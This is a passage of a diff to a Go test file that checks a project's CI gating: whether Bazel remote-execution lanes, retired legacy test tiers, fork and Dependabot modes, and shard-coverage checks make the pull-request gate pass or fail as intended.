%+v, %s %+v", prOn, prRiskWorkflowName, riskOn) - } - - // The decisions: bazel.yml's mode (which reads no flag) and both - // workflows' bazel-coverage outputs. - type decided struct { - covered, prCovered map[string]string - mode string - } - modeMemo := map[rbeFacts]string{} - coverMemo := map[rbeFacts][2]map[string]string{} - decideMemo := map[rbeFacts]decided{} - decide := func(t *testing.T, f rbeFacts) decided { - t.Helper() - if d, ok := decideMemo[f]; ok { - return d - } - noFlags := f - noFlags.retired = [3]string{} - noFlags.coversForks = "" - mode, ok := modeMemo[noFlags] - if !ok { - bazel, err := runDecisionStep(t, rbeStep, f, call.With) - if err != nil { - t.Fatalf("bazel.yml rbe step: %v", err) - } - mode = bazel["mode"] - modeMemo[noFlags] = mode - } - // The coverage steps read no variable, secret or mint (their env is - // pinned exactly by TestPRRiskBazelCoverageJob): one run per fact - // without them. - noMint := f - noMint.rbeVar, noMint.secret, noMint.mint = "", "", "" - cov, ok := coverMemo[noMint] - if !ok { - risk, err := runDecisionStep(t, riskStep, noMint, nil) - if err != nil || len(risk) != len(retiredTiers) { - t.Fatalf("%s decision step: %v %v", prRiskCoverageJobName, risk, err) - } - prd, err := runDecisionStep(t, prStep, noMint, nil) - if err != nil { - t.Fatalf("pr.yml %s step: %v", prRiskCoverageJobName, err) - } - cov = [2]map[string]string{risk, prd} - coverMemo[noMint] = cov - } - d := decided{cov[0], cov[1], mode} - decideMemo[f] = d - return d - } - - // One run's facts: the decision itself. - saw := map[string]bool{} - for _, f := range rbeFactsMatrix() { - d := decide(t, f) - for i, r := range retiredTiers { - want := f.covers(i) - if d.covered[r.output] != strconv.FormatBool(want) || d.prCovered[r.output] != d.covered[r.output] { - t.Errorf("%v: %s = %q (pr.yml %q), want %v", f, r.output, d.covered[r.output], d.prCovered[r.output], want) - } - saw[r.output+"="+strconv.FormatBool(want)] = true - } - } - for _, r := range retiredTiers { - if !saw[r.output+"=true"] || !saw[r.output+"=false"] { - t.Errorf("matrix never exercised both outcomes of %s: %v", r.output, saw) + if !contains(required, id) && !bazelPackageJobs[lane] { + t.Errorf("pr.yml's ci-gate does not require %s", id) } } - // Two runs (PR Risk's and pr.yml's, each possibly re-run) that agree on - // everything committed or fixed by the PR and differ in what an admin can - // change between them: the variable and the secret. gateMemo := map[string]bool{} - prGatePasses := func(t *testing.T, event, mode string, covered map[string]string) bool { - t.Helper() - key := fmt.Sprint(event, "/", mode, "/", covered) - if pass, ok := gateMemo[key]; ok { - return pass - } - pass, _ := runPRGateStep(t, gateStep, prGateFor(t, lanes, event, mode, covered)) - gateMemo[key] = pass - return pass - } - for _, f := range rbeFactsMatrix() { - if f.event != "pull_request" && f.event != "merge_group" { - continue // the events both workflows run on - } - risk := decide(t, f) - mints := []string{f.mint} - if f.forkPR() { - mints = rbeMintAnswers // rbe-fork may open or close between the runs - } - for _, v := range rbeVarValues { - for _, secret := range rbeSecrets { - for _, m := range mints { - g := f - g.rbeVar, g.secret, g.mint = v, secret, m - prRun := decide(t, g) - bazelRan := bazelRemoteModes[prRun.mode] // and passed: every lane succeeds here - for _, r := range retiredTiers { - // PR Risk's tiers stand down in PR Risk's run; pr.yml's - // own (step 3) in this same pr.yml run. - legacyRan := risk.covered[r.output] != "true" - if r.workflow == "pr.yml" { - legacyRan = prRun.prCovered[r.output] != "true" - } - if !legacyRan && !bazelRan && prGatePasses(t, g.event, prRun.mode, prRun.prCovered) { - t.Errorf("PR Risk run %v skipped the legacy %s tier and pr.yml run (var %q, secret %v, mint %q, mode %s, covered %v) is green without its Bazel lanes", - f, r.output, v, secret != "", m, prRun.mode, prRun.prCovered) - } - } - } - } - } - } - - // Named cases, for the record. Forks and Dependabot run in mode cache - // while rbe-fork is closed, which, like local, skips the remote-only - // lanes, or remotely in fork-ro/fork-rw; while BAZEL_COVERS_FORKS is - // "false" they keep the legacy tiers either way. While it is "true" they - // are covered: green only with their lanes run remotely, red in mode - // cache. reds: the retired ids a red gate must name. - both, embOnly, dsOnly, prOnly, none := [3]string{"true", "true", "true"}, [3]string{"true", "false", "false"}, [3]string{"false", "true", "false"}, - [3]string{"false", "false", "true"}, [3]string{"false", "false", "false"} - allRetired := []string{"BAZEL_EMBEDDED_RETIRED", "BAZEL_DOLT_SERVER_RETIRED", "BAZEL_PR_LANES_RETIRED"} - for _, c := range []struct { - name string - f rbeFacts - mode string - covered map[string]string - prPasses bool - reds []string - }{ - {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, both, false, "false", ""}, "remote", coveredAll("true"), true, nil}, - {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, both, false, "false", ""}, "skip", coveredAll("true"), false, allRetired}, - {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, both, false, "false", ""}, "cache", coveredAll("true"), false, allRetired}, - {"same-repo PR, only embedded retired, var unset", rbeFacts{"pull_request", "", "x", false, embOnly, false, "false", ""}, "skip", map[string]string{"embedded": "true", "dolt_server": "false", "pr_lanes": "false"}, false, []string{"BAZEL_EMBEDDED_RETIRED"}}, - {"same-repo PR, only proxied/server retired, var unset", rbeFacts{"pull_request", "", "x", false, dsOnly, false, "false", ""}, "skip", map[string]string{"embedded": "false", "dolt_server": "true", "pr_lanes": "false"}, false, []string{"BAZEL_DOLT_SERVER_RETIRED"}}, - {"same-repo PR, only pr.yml's jobs retired, var unset", rbeFacts{"pull_request", "", "x", false, prOnly, false, "false", ""}, "skip", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, false, []string{"BAZEL_PR_LANES_RETIRED"}}, - {"same-repo PR, only pr.yml's jobs retired, secret missing", rbeFacts{"pull_request", "true", "", false, prOnly, false, "false", ""}, "cache", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, false, []string{"BAZEL_PR_LANES_RETIRED"}}, - {"same-repo PR, only pr.yml's jobs retired, farm on", rbeFacts{"pull_request", "true", "x", false, prOnly, false, "false", ""}, "remote", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, true, nil}, - {"same-repo PR, flags reverted, var unset", rbeFacts{"pull_request", "", "x", false, none, false, "false", ""}, "skip", coveredAll("false"), true, nil}, - {"same-repo PR, flags reverted, secret missing", rbeFacts{"pull_request", "true", "", false, none, false, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"fork PR", rbeFacts{"pull_request", "true", "", true, both, false, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"fork PR, var unset", rbeFacts{"pull_request", "", "", true, both, false, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"fork PR somehow with a secret", rbeFacts{"pull_request", "true", "x", true, both, false, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"Dependabot PR (no Actions secrets)", rbeFacts{"pull_request", "true", "", false, both, true, "false", ""}, "cache", coveredAll("false"), true, nil}, - // rbe-fork decides for Dependabot like for forks (the mint, not the - // farm switch): unreachable here, so cache. - {"Dependabot PR, var unset", rbeFacts{"pull_request", "", "", false, both, true, "false", ""}, "cache", coveredAll("false"), true, nil}, - {"fork PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", true, both, false, "false", "ro"}, "fork-ro", coveredAll("false"), true, nil}, - {"fork PR, rbe-fork rw", rbeFacts{"pull_request", "", "", true, both, false, "false", "rw"}, "fork-rw", coveredAll("false"), true, nil}, - {"fork PR, rbe-fork closed", rbeFacts{"pull_request", "true", "", true, both, false, "false", "closed"}, "cache", coveredAll("false"), true, nil}, - {"Dependabot PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", false, both, true, "false", "ro"}, "fork-ro", coveredAll("false"), true, nil}, - {"covered fork PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", true, both, false, "true", "ro"}, "fork-ro", coveredAll("true"), true, nil}, - {"covered fork PR, rbe-fork rw", rbeFacts{"pull_request", "", "", true, both, false, "true", "rw"}, "fork-rw", coveredAll("true"), true, nil}, - {"covered fork PR, rbe-fork closed", rbeFacts{"pull_request", "true", "", true, both, false, "true", "closed"}, "cache", coveredAll("true"), false, allRetired}, - {"covered fork PR, mint unreachable", rbeFacts{"pull_request", "true", "", true, both, false, "true", ""}, "cache", coveredAll("true"), false, allRetired}, - {"covered Dependabot PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", false, both, true, "true", "ro"}, "fork-ro", coveredAll("true"), true, nil}, - {"covered Dependabot PR, rbe-fork closed", rbeFacts{"pull_request", "", "", false, both, true, "true", "closed"}, "cache", coveredAll("true"), false, allRetired}, - {"covered fork PR, only pr.yml's jobs retired, rbe-fork closed", rbeFacts{"pull_request", "true", "", true, prOnly, false, "true", "closed"}, "cache", map[string]string{"embedded": "false", "dolt_server": "false", "pr_lanes": "true"}, false, []string{"BAZEL_PR_LANES_RETIRED"}}, - // Merge queue: covered like a same-repo PR (the legacy tiers stay - // retired), so the Bazel lanes must run remotely and pass. - {"merge_group", rbeFacts{"merge_group", "true", "x", false, both, false, "false", ""}, "remote", coveredAll("true"), true, nil}, - {"merge_group, kill switch (var unset)", rbeFacts{"merge_group", "", "x", false, both, false, "false", ""}, "skip", coveredAll("true"), false, allRetired}, - {"merge_group, executor secret missing", rbeFacts{"merge_group", "true", "", false, both, false, "false", ""}, "cache", coveredAll("true"), false, allRetired}, - {"merge_group, flags reverted, var unset", rbeFacts{"merge_group", "", "x", false, none, false, "false", ""}, "skip", coveredAll("false"), true, nil}, - {"merge_group, only embedded retired", rbeFacts{"merge_group", "true", "x", false, embOnly, false, "false", ""}, "remote", map[string]string{"embedded": "true", "dolt_server": "false", "pr_lanes": "false"}, true, nil}, - } { - d := decide(t, c.f) - if !reflect.DeepEqual(d.covered, c.covered) || d.mode != c.mode { - t.Errorf("%s: covered = %v, mode = %q; want %v, %s", c.name, d.covered, d.mode, c.covered, c.mode) - } - pass, out := runPRGateStep(t, gateStep, prGateFor(t, lanes, c.f.event, d.mode, d.prCovered)) - if pass != c.prPasses { - t.Errorf("%s: pr.yml gate pass = %v, want %v\n%s", c.name, pass, c.prPasses, out) - } - for _, r := range retiredTiers { - named := regexp.MustCompile(`::error::` + r.retiredID + `\b`).MatchString(out) - if named != contains(c.reds, r.retiredID) { - t.Errorf("%s: red gate names %s = %v, want %v:\n%s", c.name, r.retiredID, named, contains(c.reds, r.retiredID), out) - } - } - } - for _, r := range retiredTiers { - // Covered, remote, but one of the tier's lanes failed, was cancelled - // or reported nothing: red, naming the retirement too. The other - // tier's lanes' results do not matter to this id. - for _, lane := range r.bazelLanes { - for _, res := range []string{"failure", "cancelled", ""} { - sc := prGateFor(t, lanes, "pull_request", "remote", coveredAll("true")) - sc.outputs[lane] = res - if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::"+r.retiredID) { - t.Errorf("covered, %s lane %s %q: gate pass = %v, want red naming %s\n%s", r.output, lane, res, pass, r.retiredID, out) - } - // Not covered: the lane's own id still reds the gate, but the - // retirement check does not fire. - sc.covered = coveredAll("false") - if pass, out := runPRGateStep(t, gateStep, sc); pass || strings.Contains(out, "::error::"+r.retiredID) { - t.Errorf("not covered, %s lane %s %q: gate pass = %v, want red without %s\n%s", r.output, lane, res, pass, r.retiredID, out) - } - } - } - // Covered, and lane results of success the mode cannot produce (the - // lanes run only in mode remote): the mode alone still makes it red. - for _, mode := range []string{"skip", "local", "cache"} { - cov := coveredAll("false") - cov[r.output] = "true" - sc := prGateFor(t, lanes, "pull_request", mode, cov) - for _, lane := range r.bazelLanes { - sc.outputs[lane] = "success" - } - if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::"+r.retiredID) { - t.Errorf("%s covered, mode %s, lanes reported success: gate pass = %v, want red naming %s\n%s", r.output, mode, pass, r.retiredID, out) - } - } - } - // pr.yml's coverage job failed: red even where nothing is retired. - for _, res := range []string{"failure", "cancelled", "skipped"} { - sc := prGateFor(t, lanes, "pull_request", "skip", coveredAll("")) - sc.coverage = res - if pass, out := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(out, "::error::"+prRiskCoverageGateID) { - t.Errorf("coverage job %s: gate pass = %v, want red naming %s\n%s", res, pass, prRiskCoverageGateID, out) - } - } - // A value that is not a boolean fails the job rather than deciding. - base := map[string]string{"PULL_REQUEST": "true", "FORK": "false", "DEPENDABOT": "false", "COVERS_FORKS": "false"} - for _, r := range retiredTiers { - base[r.envKey] = "true" - } - for k := range base { - env := copyMap(base) - env[k] = "" - if out, err := runBazelRBEDecision(t, riskStep.Run, env); err == nil { - t.Errorf("decision with %s='' succeeded with %v; want failure", k, out) - } - } -} - -// prRiskGateScenario: what pr-risk.yml's ci-gate sees. -type prRiskGateScenario struct { - name string - results map[string]string // needs..result - outputs map[string]string // needs..outputs., keyed "job.name" - wantPass bool - wantMention string -} - -// runPRRiskGateStep runs pr-risk.yml's actual "Evaluate CI gate" step with its -// env evaluated for the scenario. An env expression of any other form fails -// the test. -func runPRRiskGateStep(t *testing.T, step ciWorkflowStep, sc prRiskGateScenario) (bool, string) { - t.Helper() - expr := regexp.MustCompile(`^\$\{\{ needs\.([A-Za-z0-9_-]+)\.(result|outputs\.([A-Za-z0-9_-]+)) \}\}$`) - env := []string{"PATH=" + os.Getenv("PATH"), "GITHUB_EVENT_NAME=pull_request"} - for key, value := range step.Env { - if !strings.Contains(value, "${{") { - env = append(env, key+"="+value) - continue - } - m := expr.FindStringSubmatch(value) - if m == nil { - t.Fatalf("pr-risk ci-gate env %s = %q: the gate simulation cannot evaluate it", key, value) - } - var got string - var ok bool - if m[2] == "result" { - got, ok = sc.results[m[1]] - } else { - got, ok = sc.outputs[m[1]+"."+m[3]], true + saw := map[string]bool{} + for _, f := range rbeGateFactsMatrix() { + out, err := runDecisionStep(t, rbeStep, f, call.With) + if err != nil { + t.Fatalf("%v: bazel.yml rbe step: %v", f, err) } + mode := out["mode"] + saw[mode] = true + key := f.event + "/" + mode + pass, ok := gateMemo[key] if !ok { - t.Fatalf("scenario %q has no result for needs.%s", sc.name, m[1]) - } - env = append(env, key+"="+got) - } - cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", step.Run) - cmd.Dir = sourceRepoRoot(t) - cmd.Env = env - out, err := cmd.CombinedOutput() - return err == nil, string(out) -} - -// The legacy tiers' test jobs skip only when their tier is covered, and -// build-embedded (whose artifact only they consume) only when every tier is; -// PR Risk's gate accepts those skips only then: the jobs' needs and if, the -// gate's wiring, and the actual gate step over every risk tier x decision, -// including a missing, failed or non-true decision with the jobs skipped -// (red). -func TestPRRiskLegacyTiersDeferToBazelLanes(t *testing.T) { - requireHostTool(t, "bash") - risk := readCIWorkflow(t, prRiskWorkflowName) - retired := retiredJobs() - for name, r := range retired { - job := risk.job(t, name) - if job.If != r.legacyIf() { - t.Errorf("%s if = %q, want %q", name, job.If, r.legacyIf()) - } - if want := []string{"detect-ci-tier", prRiskCoverageJobName, prRiskBuildEmbeddedJob}; !reflect.DeepEqual([]string(job.Needs), want) { - t.Errorf("%s needs = %v, want %v", name, job.Needs, want) - } - } - build := risk.job(t, prRiskBuildEmbeddedJob) - if build.If != prRiskBuildEmbeddedIf { - t.Errorf("%s if = %q, want %q", prRiskBuildEmbeddedJob, build.If, prRiskBuildEmbeddedIf) - } - if want := []string{"detect-ci-tier", prRiskCoverageJobName}; !reflect.DeepEqual([]string(build.Needs), want) { - t.Errorf("%s needs = %v, want %v", prRiskBuildEmbeddedJob, build.Needs, want) - } - // build-embedded's artifact has no consumer but the retired jobs (so - // skipping it where they all skip loses nothing), and no other job - // depends on the decision. - var artifact string - for _, step := range build.Steps { - if strings.HasPrefix(step.Uses, "actions/upload-artifact@") { - if artifact != "" { - t.Errorf("%s uploads more than one artifact", prRiskBuildEmbeddedJob) - } - artifact = step.With["name"] - } - } - if artifact == "" { - t.Fatalf("%s uploads no artifact", prRiskBuildEmbeddedJob) - } - for name, job := range risk.Jobs { - consumes := false - for _, step := range job.Steps { - if strings.HasPrefix(step.Uses, "actions/download-artifact@") && (step.With["name"] == artifact || step.With["name"] == "" || strings.Contains(step.With["pattern"], "*")) { - consumes = true + var log string + pass, log = runPRGateStep(t, gateStep, prGateFor(t, lanes, f.event, mode)) + gateMemo[key] = pass + if !pass && !regexp.MustCompile(`::error::`+bazelRemoteGateID+`\b`).MatchString(log) { + t.Errorf("%v (mode %s): red gate does not name %s:\n%s", f, mode, bazelRemoteGateID, log) } } - _, isRetired := retired[name] - if consumes != isRetired { - t.Errorf("%s downloads %s = %v; want exactly the retired jobs %v to", name, artifact, consumes, retiredJobNames()) + if pass != bazelRemoteModes[mode] { + t.Errorf("%v: mode %s, every lane that runs in it passed: gate pass = %v, want %v", f, mode, pass, bazelRemoteModes[mode]) } - if contains(job.Needs, prRiskBuildEmbeddedJob) && !isRetired && name != "ci-gate" { - t.Errorf("%s needs %s; only the retired jobs may (it skips where they all do)", name, prRiskBuildEmbeddedJob) - } - if isRetired || name == "ci-gate" || name == prRiskCoverageJobName || name == prRiskBuildEmbeddedJob { - continue - } - if strings.Contains(job.If, prRiskCoverageJobName) || contains(job.Needs, prRiskCoverageJobName) { - t.Errorf("%s depends on %s; only %v and %s may stand down", name, prRiskCoverageJobName, retiredJobNames(), prRiskBuildEmbeddedJob) + } + for _, mode := range []string{"remote", "fork-ro", "fork-rw", "cache", "skip"} { + if !saw[mode] { + t.Errorf("the fact matrix never reached mode %s: %v", mode, saw) } } - gate := risk.job(t, "ci-gate") - step := gate.step(t, "Evaluate CI gate") - required := strings.Fields(step.Env["CI_GATE_REQUIRED"]) - if !contains(gate.Needs, prRiskCoverageJobName) || !contains(required, prRiskCoverageGateID) || - step.Env[prRiskCoverageGateID] != "${{ needs."+prRiskCoverageJobName+".result }}" { - t.Errorf("pr-risk ci-gate does not require %s's result: needs %v, env %v", prRiskCoverageJobName, gate.Needs, step.Env) - } - for _, r := range retiredTiers { - want := "${{ needs." + prRiskCoverageJobName + ".outputs." + r.output + " }}" - if r.workflow != prRiskWorkflowName { - want = "" // pr.yml's own jobs: nothing in PR Risk reads it - } - if step.Env[r.coversEnv] != want { - t.Errorf("pr-risk ci-gate %s = %q, want %q", r.coversEnv, step.Env[r.coversEnv], want) - } - } - for name, r := range retired { - if !contains(required, r.jobs[name]) { - t.Errorf("pr-risk ci-gate no longer requires %s (it runs wherever the Bazel lanes do not)", r.jobs[name]) - } - } - if !contains(required, prRiskBuildEmbeddedID) { - t.Errorf("pr-risk ci-gate no longer requires %s", prRiskBuildEmbeddedID) - } - gateID := func(job string) string { - if r, ok := retired[job]; ok { - return r.jobs[job] - } - if job == prRiskBuildEmbeddedJob { - return prRiskBuildEmbeddedID - } - return "" - } - - // Each gated job's result for (tier, decision), as the jobs' if: and - // needs produce it: needs.* outputs are strings, so only 'true' skips; - // a failed decision job skips its dependents, and a skipped - // build-embedded skips its consumers. - results := func(full bool, coverageResult string, cov map[string]string) map[string]string { - r := map[string]string{} - for _, job := range gate.Needs { - r[job] = "success" - } - r[prRiskCoverageJobName] = coverageResult - decided := coverageResult == "success" - buildRuns := full && decided && (cov["embedded"] != "true" || cov["dolt_server"] != "true") - if !buildRuns { - r[prRiskBuildEmbeddedJob] = "skipped" - } - for name := range risk.Jobs { - if !contains(gate.Needs, name) || name == "detect-ci-tier" || name == prRiskCoverageJobName || name == "test-nix" || name == prRiskBuildEmbeddedJob { - continue - } - runs := full - if tier, ok := retired[name]; ok { - runs = full && decided && buildRuns && cov[tier.output] != "true" - } - if !runs { - r[name] = "skipped" - } - } - return r - } - outputs := func(full bool, cov map[string]string) map[string]string { - o := map[string]string{"detect-ci-tier.full_embedded": strconv.FormatBool(full)} - for _, r := range retiredTiers { - o[prRiskCoverageJobName+"."+r.output] = cov[r.output] - } - return o - } - - var scenarios []prRiskGateScenario - covs := []map[string]string{ - coveredAll("true"), coveredAll("false"), - {"embedded": "true", "dolt_server": "false"}, {"embedded": "false", "dolt_server": "true"}, - } - for _, full := range []bool{true, false} { - for _, cov := range covs { - name := fmt.Sprintf("full_embedded=%v covered=%v", full, cov) - r := results(full, "success", cov) - scenarios = append(scenarios, prRiskGateScenario{name: name + ", as designed", results: r, outputs: outputs(full, cov), wantPass: true}) - for _, id := range append(retiredJobNames(), prRiskBuildEmbeddedJob) { - if r[id] == "skipped" { - // Skipped by design; if it ran anyway and failed, red. - bad := copyMap(r) - bad[id] = "failure" - scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " ran and failed", bad, outputs(full, cov), false, gateID(id)}) - continue - } - for _, res := range []string{"skipped", "failure", "cancelled"} { - bad := copyMap(r) - bad[id] = res - scenarios = append(scenarios, prRiskGateScenario{name + ", " + id + " " + res, bad, outputs(full, cov), false, gateID(id)}) - } - } - } - } - // A failed, cancelled or missing decision, or one that is not exactly - // 'true', excuses nothing, whatever the jobs did. - for _, bad := range []struct{ result, covered string }{ - {"failure", ""}, {"cancelled", ""}, {"skipped", ""}, {"failure", "true"}, {"cancelled", "true"}, + // Named cases, for the record. + for _, c := range []struct { + name string + f rbeFacts + mode string + pass bool + }{ + {"same-repo PR, farm on", rbeFacts{"pull_request", "true", "x", false, false, ""}, "remote", true}, + {"same-repo PR, kill switch (var unset)", rbeFacts{"pull_request", "", "x", false, false, ""}, "skip", false}, + {"same-repo PR, executor secret missing", rbeFacts{"pull_request", "true", "", false, false, ""}, "cache", false}, + {"fork PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", true, false, "ro"}, "fork-ro", true}, + {"fork PR, rbe-fork rw", rbeFacts{"pull_request", "", "", true, false, "rw"}, "fork-rw", true}, + {"fork PR, rbe-fork closed", rbeFacts{"pull_request", "true", "", true, false, "closed"}, "cache", false}, + {"fork PR, mint unreachable", rbeFacts{"pull_request", "true", "", true, false, ""}, "cache", false}, + {"Dependabot PR, rbe-fork ro", rbeFacts{"pull_request", "true", "", false, true, "ro"}, "fork-ro", true}, + {"Dependabot PR, rbe-fork closed", rbeFacts{"pull_request", "", "", false, true, "closed"}, "cache", false}, + {"merge_group", rbeFacts{"merge_group", "true", "x", false, false, ""}, "remote", true}, + {"merge_group, kill switch (var unset)", rbeFacts{"merge_group", "", "x", false, false, ""}, "skip", false}, + {"merge_group, executor secret missing", rbeFacts{"merge_group", "true", "", false, false, ""}, "cache", false}, } { - r := results(true, "success", coveredAll("false")) - r[prRiskCoverageJobName] = bad.result - for _, id := range append(retiredJobNames(), prRiskBuildEmbeddedJob) { - r[id] = "skipped" + out, err := runDecisionStep(t, rbeStep, c.f, call.With) + if err != nil { + t.Fatalf("%s: bazel.yml rbe step: %v", c.name, err) } - scenarios = append(scenarios, prRiskGateScenario{ - name: fmt.Sprintf("decision %s covered=%q, legacy skipped", bad.result, bad.covered), - results: r, outputs: outputs(true, coveredAll(bad.covered)), wantPass: false, wantMention: prRiskCoverageGateID, - }) - } - // Review F3 (step 2): per tier, with the other tier's output a valid - // "false" (so its jobs and build-embedded ran), a successful decision - // whose output for this tier is not exactly 'true' excuses none of this - // tier's skipped jobs: a gate testing != "false" (or similar) fails here. - for _, tier := range riskTiers() { - for _, covered := range []string{"", "TRUE ", "yes", "1", "True\n", "false "} { - cov := coveredAll("false") - cov[tier.output] = covered - for job, id := range tier.jobs { - r := results(true, "success", coveredAll("false")) - r[job] = "skipped" - scenarios = append(scenarios, prRiskGateScenario{ - name: fmt.Sprintf("decision success %s=%q, %s skipped", tier.output, covered, job), - results: r, outputs: outputs(true, cov), wantPass: false, wantMention: id, - }) - } + if out["mode"] != c.mode { + t.Errorf("%s: mode = %q, want %s", c.name, out["mode"], c.mode) } - // And build-embedded's skip is excused only when both are exactly true. - cov := coveredAll("true") - cov[tier.output] = "yes" - r := results(true, "success", coveredAll("true")) - for job := range tier.jobs { - r[job] = "success" // isolate BUILD_EMBEDDED's own skip rule + if pass, log := runPRGateStep(t, gateStep, prGateFor(t, lanes, c.f.event, out["mode"])); pass != c.pass { + t.Errorf("%s: pr.yml gate pass = %v, want %v\n%s", c.name, pass, c.pass, log) } - scenarios = append(scenarios, prRiskGateScenario{ - name: fmt.Sprintf("decision success %s=yes, other true, build-embedded skipped", tier.output), - results: r, outputs: outputs(true, cov), wantPass: false, wantMention: prRiskBuildEmbeddedID, - }) - } - // The decision job itself must succeed even when nothing else needs it. - for _, res := range []string{"failure", "cancelled", "skipped"} { - r := results(false, "success", coveredAll("false")) - r[prRiskCoverageJobName] = res - scenarios = append(scenarios, prRiskGateScenario{"docs-only, decision " + res, r, outputs(false, coveredAll("")), false, prRiskCoverageGateID}) } - for _, sc := range scenarios { - t.Run(sc.name, func(t *testing.T) { - pass, out := runPRRiskGateStep(t, step, sc) - if pass != sc.wantPass { - t.Errorf("gate pass = %v, want %v (results %v, outputs %v)\n%s", pass, sc.wantPass, sc.results, sc.outputs, out) + // Remote, but one gated lane failed, was cancelled or reported nothing: + // red, naming that lane. + for lane, id := range bazelLaneGateIDs { + for _, mode := range []string{"remote", "fork-ro"} { + for _, res := range []string{"failure", "cancelled", ""} { + sc := prGateFor(t, lanes, "pull_request", mode) + sc.outputs[lane] = res + if pass, log := runPRGateStep(t, gateStep, sc); pass || !regexp.MustCompile(`::error::`+id+`\b`).MatchString(log) { + t.Errorf("mode %s, lane %s %q: gate pass = %v, want red naming %s\n%s", mode, lane, res, pass, id, log) + } } - if !sc.wantPass && sc.wantMention != "" && !regexp.MustCompile(`::error::`+sc.wantMention+`\b`).MatchString(out) { - t.Errorf("red gate does not name %s:\n%s", sc.wantMention, out) - } - }) + } } -} - -// retiredJobNames: the retired legacy test jobs, sorted. -func retiredJobNames() []string { - var out []string - for name := range retiredJobs() { - out = append(out, name) + // A mode that executed nothing remotely is red even if every lane + // somehow reported success. + for _, mode := range []string{"skip", "local", "cache"} { + sc := prGateFor(t, lanes, "pull_request", mode) + for lane := range bazelLaneGateIDs { + sc.outputs[lane] = "success" + } + if pass, log := runPRGateStep(t, gateStep, sc); pass || !strings.Contains(log, "::error::"+bazelRemoteGateID) { + t.Errorf("mode %s, every lane reported success: gate pass = %v, want red naming %s\n%s", mode, pass, bazelRemoteGateID, log) + } } - sort.Strings(out) - return out } func copyMap(m map[string]string) map[string]string { @@ -1084,39 +301,31 @@ func copyMap(m map[string]string) map[string]string { return out } -// Review F5 (D2 step 1; step 2 for the proxied and server lanes): each -// retired tier's Bazel lane checks, after the run, that every Bazel shard of -// its manifest-sharded targets ran exactly the tests its PR Risk shard script -// lists, for the targets and shard counts of the legacy jobs, and that its -// unsharded targets did not only skip. +// Review F5: each manifest-sharded Bazel lane (embedded, proxied, server +// storage) checks, after the run, that every Bazel shard of its +// manifest-sharded targets ran exactly the tests its shard script lists, for +// the targets' own BUILD.bazel shard counts, and that its unsharded targets +// did not only skip. These lanes are the tiers' only run since PR Risk's +// legacy jobs were retired (ga-96smfk.22), so the check is what stands +// between a manifest drift and a test silently never running. func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { - risk := readCIWorkflow(t, prRiskWorkflowName) type suite struct { job, step, label, script string - // shardCount overrides the expected check_shard_coverage.py shard - // count for this suite when the Bazel lane's own manifest block runs - // a different number of shards than this PR Risk job's matrix. Zero - // means "same as this suite's PR Risk job matrix size" (the common - // case for a lane that is a drop-in retirement of the legacy job). - // -1 means "read this suite's label's own shard_count live from its - // BUILD.bazel rule", via the liveShardCount dispatch table below - // (bazelProxiedShardCount, bazelEmbeddedCmdShardCount, - // bazelEmbeddedStorageShardCount); only a label present in that - // table may use -1 (enforced below), so copying this onto another - // suite needs a reviewed change there. + // shardCount: -1 reads the label's own shard_count live from its + // BUILD.bazel rule, via the liveShardCount dispatch table below; + // only a label present in that table may use it (enforced below). shardCount int } // liveShardCount dispatches a suite's -1 shardCount to the accessor that // reads its target's own shard_count from its BUILD.bazel rule — the - // single source of truth for a Bazel-only lane's shard split, which no - // longer has to equal the retired PR Risk job's matrix size (F2's - // bd_proxied_test; F1's bd_embedded_test and - // embeddeddolt_embedded_test). See bazelProxiedShardCount's doc comment - // (scripts/ci_workflow_test.go) for the shared rationale. + // single source of truth for a lane's shard split. See + // bazelProxiedShardCount's doc comment (scripts/ci_workflow_test.go) for + // the shared rationale. liveShardCount := map[string]func(*testing.T) int{ "//cmd/bd:bd_proxied_test": bazelProxiedShardCount, "//cmd/bd:bd_embedded_test": bazelEmbeddedCmdShardCount, "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": bazelEmbeddedStorageShardCount, + "//internal/storage/dolt:dolt_server_full_test": bazelServerFullShardCount, } for _, c := range []struct { lane, config string @@ -1151,7 +360,7 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { {"test-proxied-cmd", "Test proxied-server cmd shard", "//cmd/bd:bd_proxied_test", ".github/scripts/proxied-test-shard.sh", -1}, }, nil}, {bazelServerJobName, "doltserver-integration", []suite{ - {"test-server-storage-full", "Test", "//internal/storage/dolt:dolt_server_full_test", ".github/scripts/server-storage-test-shard.sh", 0}, + {"test-server-storage-full", "Test", "//internal/storage/dolt:dolt_server_full_test", ".github/scripts/server-storage-test-shard.sh", -1}, }, []string{"//internal/storage/dolt:dolt_server_conformance_test"}}, } { job := readCIWorkflow(t, bazelWorkflowName).job(t, c.lane) @@ -1159,18 +368,12 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { want := []string{"python3 tools/bazel/check_shard_coverage.py", `--bep "$RUNNER_TEMP/bazel-bep.json"`} for _, s := range c.suites { shards := s.shardCount - switch { - case shards < 0: + if shards < 0 { fn, ok := liveShardCount[s.label] if !ok { t.Fatalf("%s: shardCount<0 (read live from BUILD.bazel) is not configured for %s", s.job, s.label) } shards = fn(t) - case shards == 0: - shards = len(risk.job(t, s.job).Strategy.Matrix.Shard) - } - if !strings.Contains(risk.job(t, s.job).step(t, s.step).Run, s.script) { - 